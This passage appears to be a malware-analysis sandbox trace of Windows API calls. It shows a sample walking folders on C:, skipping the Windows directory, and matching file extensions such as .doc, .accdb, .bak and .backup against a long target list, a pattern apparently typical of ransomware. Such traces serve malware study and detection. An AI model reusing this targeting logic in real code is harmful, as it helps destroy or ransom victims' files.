[0061.123] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0061.123] lstrlenW (lpString=".c") returned 2 [0061.123] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0061.123] lstrlenW (lpString=".cdr") returned 4 [0061.123] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0061.123] lstrlenW (lpString=".cer") returned 4 [0061.123] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0061.123] lstrlenW (lpString=".cf") returned 3 [0061.124] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0061.124] lstrlenW (lpString=".cfc") returned 4 [0061.124] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0061.124] lstrlenW (lpString=".cfm") returned 4 [0061.124] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0061.124] lstrlenW (lpString=".cfml") returned 5 [0061.124] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0061.124] lstrlenW (lpString=".cfu") returned 4 [0061.124] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0061.125] lstrlenW (lpString=".chm") returned 4 [0061.125] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0061.125] lstrlenW (lpString=".cin") returned 4 [0061.125] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0061.125] lstrlenW (lpString=".class") returned 6 [0061.125] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0061.125] lstrlenW (lpString=".clx") returned 4 [0061.125] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0061.125] lstrlenW (lpString=".config") returned 7 [0061.125] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0061.125] lstrlenW (lpString=".cpp") returned 4 [0061.125] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0061.125] lstrlenW (lpString=".cr2") returned 4 [0061.125] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0061.125] lstrlenW (lpString=".crt") returned 4 [0061.125] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0061.125] lstrlenW (lpString=".crw") returned 4 [0061.125] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0061.125] lstrlenW (lpString=".cs") returned 3 [0061.125] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0061.125] lstrlenW (lpString=".css") returned 4 [0061.125] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0061.125] lstrlenW (lpString=".csv") returned 4 [0061.125] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0061.125] lstrlenW (lpString=".cub") returned 4 [0061.126] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0061.126] lstrlenW (lpString=".dae") returned 4 [0061.126] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0061.126] lstrlenW (lpString=".dat") returned 4 [0061.126] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0061.126] lstrlenW (lpString=".db") returned 3 [0061.126] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0061.126] lstrlenW (lpString=".dbf") returned 4 [0061.126] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0061.126] lstrlenW (lpString=".dbx") returned 4 [0061.126] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0061.126] lstrlenW (lpString=".dc3") returned 4 [0061.126] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0061.126] lstrlenW (lpString=".dcm") returned 4 [0061.126] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0061.126] lstrlenW (lpString=".dcr") returned 4 [0061.126] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0061.126] lstrlenW (lpString=".der") returned 4 [0061.126] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0061.126] lstrlenW (lpString=".dib") returned 4 [0061.126] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0061.126] lstrlenW (lpString=".dic") returned 4 [0061.126] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0061.126] lstrlenW (lpString=".dif") returned 4 [0061.126] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0061.126] lstrlenW (lpString=".divx") returned 5 [0061.126] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0061.126] lstrlenW (lpString=".djvu") returned 5 [0061.126] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0061.127] lstrlenW (lpString=".dng") returned 4 [0061.127] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0061.127] lstrlenW (lpString=".doc") returned 4 [0061.127] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0061.127] lstrlenW (lpString=".docm") returned 5 [0061.127] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0061.127] lstrlenW (lpString=".docx") returned 5 [0061.127] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0061.127] lstrlenW (lpString=".dot") returned 4 [0061.127] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0061.127] lstrlenW (lpString=".dotm") returned 5 [0061.127] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0061.127] lstrlenW (lpString=".dotx") returned 5 [0061.127] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0061.127] lstrlenW (lpString=".dpx") returned 4 [0061.127] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0061.127] lstrlenW (lpString=".dqy") returned 4 [0061.127] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0061.127] lstrlenW (lpString=".dsn") returned 4 [0061.127] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0061.127] lstrlenW (lpString=".dt") returned 3 [0061.127] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0061.127] lstrlenW (lpString=".dtd") returned 4 [0061.127] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0061.127] lstrlenW (lpString=".dwg") returned 4 [0061.127] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0061.127] lstrlenW (lpString=".dwt") returned 4 [0061.127] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0061.128] lstrlenW (lpString=".dx") returned 3 [0061.128] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0061.128] lstrlenW (lpString=".dxf") returned 4 [0061.128] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0061.128] lstrlenW (lpString=".edml") returned 5 [0061.128] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0061.128] lstrlenW (lpString=".efd") returned 4 [0061.128] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0061.128] lstrlenW (lpString=".elf") returned 4 [0061.128] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0061.128] lstrlenW (lpString=".emf") returned 4 [0061.128] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0061.128] lstrlenW (lpString=".emz") returned 4 [0061.128] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0061.128] lstrlenW (lpString=".epf") returned 4 [0061.128] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0061.128] lstrlenW (lpString=".eps") returned 4 [0061.128] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0061.128] lstrlenW (lpString=".epsf") returned 5 [0061.128] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0061.128] lstrlenW (lpString=".epsp") returned 5 [0061.128] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0061.128] lstrlenW (lpString=".erf") returned 4 [0061.128] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0061.128] lstrlenW (lpString=".exr") returned 4 [0061.129] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0061.129] lstrlenW (lpString=".f4v") returned 4 [0061.129] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0061.129] lstrlenW (lpString=".fido") returned 5 [0061.129] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0061.129] lstrlenW (lpString=".flm") returned 4 [0061.129] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0061.129] lstrlenW (lpString=".flv") returned 4 [0061.129] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0061.129] lstrlenW (lpString=".frm") returned 4 [0061.129] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0061.129] lstrlenW (lpString=".fxg") returned 4 [0061.129] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0061.129] lstrlenW (lpString=".geo") returned 4 [0061.129] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0061.129] lstrlenW (lpString=".gif") returned 4 [0061.129] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0061.129] lstrlenW (lpString=".grs") returned 4 [0061.129] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0061.129] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0061.130] FindClose (in: hFindFile=0x5831c8 | out: hFindFile=0x5831c8) returned 1 [0061.130] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3780968 | out: hHeap=0x490000) returned 1 [0061.130] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0061.130] FindClose (in: hFindFile=0x583248 | out: hFindFile=0x583248) returned 1 [0061.130] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3740948 | out: hHeap=0x490000) returned 1 [0061.131] FindNextFileW (in: hFindFile=0x4a9498, lpFindFileData=0x2e9fcf8 | out: lpFindFileData=0x2e9fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77850000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0061.131] FindNextFileW (in: hFindFile=0x4a9498, lpFindFileData=0x2e9fcf8 | out: lpFindFileData=0x2e9fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77850000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0061.131] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3740948 [0061.132] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21 [0061.132] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x583008 [0061.502] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0061.507] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1 [0061.507] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26 [0061.507] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1025") returned 1 [0061.507] lstrlenW (lpString="1025") returned 4 [0061.507] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1025") returned 1 [0061.507] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d80940 [0061.507] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26 [0061.507] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5832c8 [0061.522] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.522] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0061.523] lstrlenW (lpString="eula.rtf") returned 8 [0061.523] lstrlenW (lpString=".1cd") returned 4 [0061.523] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0061.523] lstrlenW (lpString=".3ds") returned 4 [0061.523] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0061.523] lstrlenW (lpString=".3fr") returned 4 [0061.523] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0061.523] lstrlenW (lpString=".3g2") returned 4 [0061.523] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0061.523] lstrlenW (lpString=".3gp") returned 4 [0061.523] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0061.523] lstrlenW (lpString=".7z") returned 3 [0061.523] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0061.523] lstrlenW (lpString=".accda") returned 6 [0061.523] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0061.523] lstrlenW (lpString=".accdb") returned 6 [0061.523] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0061.523] lstrlenW (lpString=".accdc") returned 6 [0061.523] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0061.523] lstrlenW (lpString=".accde") returned 6 [0061.523] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0061.523] lstrlenW (lpString=".accdt") returned 6 [0061.523] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0061.523] lstrlenW (lpString=".accdw") returned 6 [0061.523] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0061.523] lstrlenW (lpString=".adb") returned 4 [0061.523] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0061.523] lstrlenW (lpString=".adp") returned 4 [0061.523] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0061.523] lstrlenW (lpString=".ai") returned 3 [0061.523] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0061.523] lstrlenW (lpString=".ai3") returned 4 [0061.523] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0061.523] lstrlenW (lpString=".ai4") returned 4 [0061.523] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0061.523] lstrlenW (lpString=".ai5") returned 4 [0061.524] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0061.524] lstrlenW (lpString=".ai6") returned 4 [0061.524] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0061.524] lstrlenW (lpString=".ai7") returned 4 [0061.524] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0061.524] lstrlenW (lpString=".ai8") returned 4 [0061.524] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0061.524] lstrlenW (lpString=".anim") returned 5 [0061.524] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0061.524] lstrlenW (lpString=".arw") returned 4 [0061.524] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0061.524] lstrlenW (lpString=".as") returned 3 [0061.524] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0061.524] lstrlenW (lpString=".asa") returned 4 [0061.524] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0061.524] lstrlenW (lpString=".asc") returned 4 [0061.524] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0061.524] lstrlenW (lpString=".ascx") returned 5 [0061.524] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0061.524] lstrlenW (lpString=".asm") returned 4 [0061.524] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0061.524] lstrlenW (lpString=".asmx") returned 5 [0061.524] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0061.524] lstrlenW (lpString=".asp") returned 4 [0061.524] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0061.524] lstrlenW (lpString=".aspx") returned 5 [0061.524] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0061.525] lstrlenW (lpString=".asr") returned 4 [0061.525] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0061.525] lstrlenW (lpString=".asx") returned 4 [0061.525] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0061.525] lstrlenW (lpString=".avi") returned 4 [0061.525] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0061.525] lstrlenW (lpString=".avs") returned 4 [0061.525] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0061.525] lstrlenW (lpString=".backup") returned 7 [0061.525] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0061.525] lstrlenW (lpString=".bak") returned 4 [0061.525] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0061.525] lstrlenW (lpString=".bay") returned 4 [0061.525] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0061.525] lstrlenW (lpString=".bd") returned 3 [0061.525] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0061.525] lstrlenW (lpString=".bin") returned 4 [0061.525] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0061.525] lstrlenW (lpString=".bmp") returned 4 [0061.525] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0061.525] lstrlenW (lpString=".bz2") returned 4 [0061.525] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0061.525] lstrlenW (lpString=".c") returned 2 [0061.525] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0061.525] lstrlenW (lpString=".cdr") returned 4 [0061.525] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0061.525] lstrlenW (lpString=".cer") returned 4 [0061.525] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0061.525] lstrlenW (lpString=".cf") returned 3 [0061.525] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0061.525] lstrlenW (lpString=".cfc") returned 4 [0061.525] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0061.525] lstrlenW (lpString=".cfm") returned 4 [0061.525] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0061.525] lstrlenW (lpString=".cfml") returned 5 [0061.525] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0061.526] lstrlenW (lpString=".cfu") returned 4 [0061.526] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0061.526] lstrlenW (lpString=".chm") returned 4 [0061.526] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0061.526] lstrlenW (lpString=".cin") returned 4 [0061.526] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0061.526] lstrlenW (lpString=".class") returned 6 [0061.526] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0061.526] lstrlenW (lpString=".clx") returned 4 [0061.526] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0061.526] lstrlenW (lpString=".config") returned 7 [0061.526] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0061.526] lstrlenW (lpString=".cpp") returned 4 [0061.526] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0061.526] lstrlenW (lpString=".cr2") returned 4 [0061.526] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0061.526] lstrlenW (lpString=".crt") returned 4 [0061.526] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0061.526] lstrlenW (lpString=".crw") returned 4 [0061.526] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0061.526] lstrlenW (lpString=".cs") returned 3 [0061.526] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0061.526] lstrlenW (lpString=".css") returned 4 [0061.526] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0061.526] lstrlenW (lpString=".csv") returned 4 [0061.526] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0061.526] lstrlenW (lpString=".cub") returned 4 [0061.526] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0061.526] lstrlenW (lpString=".dae") returned 4 [0061.526] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0061.526] lstrlenW (lpString=".dat") returned 4 [0061.526] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0061.526] lstrlenW (lpString=".db") returned 3 [0061.526] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0061.526] lstrlenW (lpString=".dbf") returned 4 [0061.526] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0061.526] lstrlenW (lpString=".dbx") returned 4 [0061.527] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0061.527] lstrlenW (lpString=".dc3") returned 4 [0061.527] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0061.527] lstrlenW (lpString=".dcm") returned 4 [0061.527] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0061.527] lstrlenW (lpString=".dcr") returned 4 [0061.527] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0061.527] lstrlenW (lpString=".der") returned 4 [0061.527] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0061.527] lstrlenW (lpString=".dib") returned 4 [0061.527] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0061.527] lstrlenW (lpString=".dic") returned 4 [0061.527] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0061.527] lstrlenW (lpString=".dif") returned 4 [0061.527] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0061.527] lstrlenW (lpString=".divx") returned 5 [0061.527] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0061.527] lstrlenW (lpString=".djvu") returned 5 [0061.527] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0061.527] lstrlenW (lpString=".dng") returned 4 [0061.527] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0061.527] lstrlenW (lpString=".doc") returned 4 [0061.527] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0061.527] lstrlenW (lpString=".docm") returned 5 [0061.527] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0061.527] lstrlenW (lpString=".docx") returned 5 [0061.527] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0061.527] lstrlenW (lpString=".dot") returned 4 [0061.527] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0061.527] lstrlenW (lpString=".dotm") returned 5 [0061.527] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0061.527] lstrlenW (lpString=".dotx") returned 5 [0061.527] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0061.527] lstrlenW (lpString=".dpx") returned 4 [0061.527] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0061.527] lstrlenW (lpString=".dqy") returned 4 [0061.527] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0061.527] lstrlenW (lpString=".dsn") returned 4 [0061.528] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0061.528] lstrlenW (lpString=".dt") returned 3 [0061.528] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0061.528] lstrlenW (lpString=".dtd") returned 4 [0061.528] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0061.528] lstrlenW (lpString=".dwg") returned 4 [0061.528] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0061.528] lstrlenW (lpString=".dwt") returned 4 [0061.528] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0061.528] lstrlenW (lpString=".dx") returned 3 [0061.528] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0061.528] lstrlenW (lpString=".dxf") returned 4 [0061.528] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0061.528] lstrlenW (lpString=".edml") returned 5 [0061.528] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0061.528] lstrlenW (lpString=".efd") returned 4 [0061.528] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0061.528] lstrlenW (lpString=".elf") returned 4 [0061.528] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0061.528] lstrlenW (lpString=".emf") returned 4 [0061.528] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0061.528] lstrlenW (lpString=".emz") returned 4 [0061.528] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0061.528] lstrlenW (lpString=".epf") returned 4 [0061.528] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0061.528] 